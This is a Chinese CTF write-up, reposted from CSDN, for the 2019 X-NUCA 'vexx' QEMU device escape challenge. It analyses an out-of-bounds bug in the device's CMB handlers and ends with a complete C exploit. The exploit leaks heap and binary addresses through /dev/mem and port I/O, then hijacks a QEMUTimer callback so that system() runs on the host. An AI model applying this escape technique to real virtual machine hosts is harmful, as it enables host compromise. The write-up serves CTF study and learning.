ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2019 xnuca pwn vexx

2022-01-28 23:03:35  阅读:210  来源: 互联网

标签:addr mem cmb mmio write 2019 pwn vexx uint32


在这里插入图片描述
保护是全开的

首先来看启动文件

#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot

设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管

启动一下,用的是ubuntu20.04的环境
在这里插入图片描述发现缺几个库

sudo apt-get install libncurses5
sudo apt-get install libncursesw5

两个命令搞定
用户名root
密码goodluck
在这里插入图片描述

函数就这么一堆
在这里插入图片描述
基类初始化没啥好看的
在这里插入图片描述可以看到我们的两个id
在这里插入图片描述
可以找到对应设备的总线等信息。

重点先来看一下类对象初始化的realize
在这里插入图片描述
注册了两个mmio
在这里插入图片描述
最后两个成员也是两个结构体

重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write

我们一个一个分析
首先看mmio_read
在这里插入图片描述

然后是mmio_write
在这里插入图片描述

然后是pmio_write
在这里插入图片描述

然后是pmio_read
在这里插入图片描述pmio rw没啥。可以对三个变量进行读写。

那就再看看cmb rw

vexx_cmb_read
在这里插入图片描述

vexx_cmb_write

在这里插入图片描述
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。

我们要重点介绍一个结构体
首先我们要知道我们越界的位置在

VexxState结构体中的req成员
在这里插入图片描述
req成员是一个VexxRequest结构体

在这里插入图片描述
这个成员下面还有一个成员,VxeeDma结构体类型的

在这里插入图片描述
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
在这里插入图片描述他又是QEMUTimer结构体的别称

我们要重点介绍的就是这个结构体

在这里插入图片描述
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。

然后呢在vexx_mmio_write里面有一条这样的调用链

在这里插入图片描述
timer_mod

在这里插入图片描述
timer_mod_ns

在这里插入图片描述timerlist_notify

在这里插入图片描述cb(opaque)

所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。

首先先拿到mmio pmio的地址
在这里插入图片描述这里可以拿到pmio的base地址

在这里插入图片描述
这样可以拿到mmio的地址跟大小。

具体哪个地址对应的是那个mmio
看这里
在这里插入图片描述
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用

exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>


uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;

unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint8_t mmio_read(uint32_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint32_t addr, uint8_t value)
{
    *( (uint32_t *) (mmio_mem+addr) ) = value;
}


uint8_t cmb_read(uint32_t addr)
{
    return *((uint8_t*) (cmb_mem+addr));
}

void cmb_write(uint32_t addr, uint8_t value)
{
    *( (uint8_t *) (cmb_mem+addr) ) = value;
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outb(value,addr);
}


uint8_t pmio_read(uint32_t addr)
{
    return (uint32_t)inb(addr);
}

void set_offset(uint32_t value)
{
    pmio_write(pmio_base+0x10, value);
}

void set_memorymode(uint32_t value)
{
    pmio_write(pmio_base+0x0, value);
}

uint8_t arbitrary_read(uint32_t offset)
{

    set_offset(offset);
    return cmb_read(0x100);
}

void arbitrary_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x100, value);
}

void normal_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x0, value);
}

int main(int argc, char *argv[])
{
    //这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }
    cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
    if ( !cmb_mem ) {
        die("mmap cmb mem failed");
    }

    // 想利用pmio就要先把io等级拉上来
    if (iopl(3) !=0 )
        die("I/O permission is not enough");

	  //泄露地址
    set_memorymode(1);
    uint64_t heap_addr=0,tmp;
    uint32_t i;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x40+i);
        heap_addr=heap_addr+(tmp<<(i*8));
    }
    printf("leaking heap address: 0x%lx\n",heap_addr);

    uint64_t pro_addr=0;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x38+i);
        pro_addr=pro_addr+(tmp<<(i*8));
    }
    printf("leaking pro address: 0x%lx\n",pro_addr);
    uint64_t pro_base= pro_addr-0x4DCF10;
    uint64_t system_plt=pro_base+0x2AB860;
    
    
    //三个任意写
    char *para="ls&&cat ./flag";
    for(i=0; i< strlen(para); i++) {
        normal_write(0x0+i,para[i]);
    }
    uint64_t para_addr=heap_addr+0xb90;
    for(i=0; i<8; i++) {
        arbitrary_write(0x38+i,((char*)&system_plt)[i]);
    }
    for(i=0; i<8; i++) {
        arbitrary_write(0x40+i, ((char*)&para_addr)[i]);
    }
    
    //最后触发
    mmio_write(0x98,1);
}

标签:addr,mem,cmb,mmio,write,2019,pwn,vexx,uint32
来源: https://blog.csdn.net/yongbaoii/article/details/122305492

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有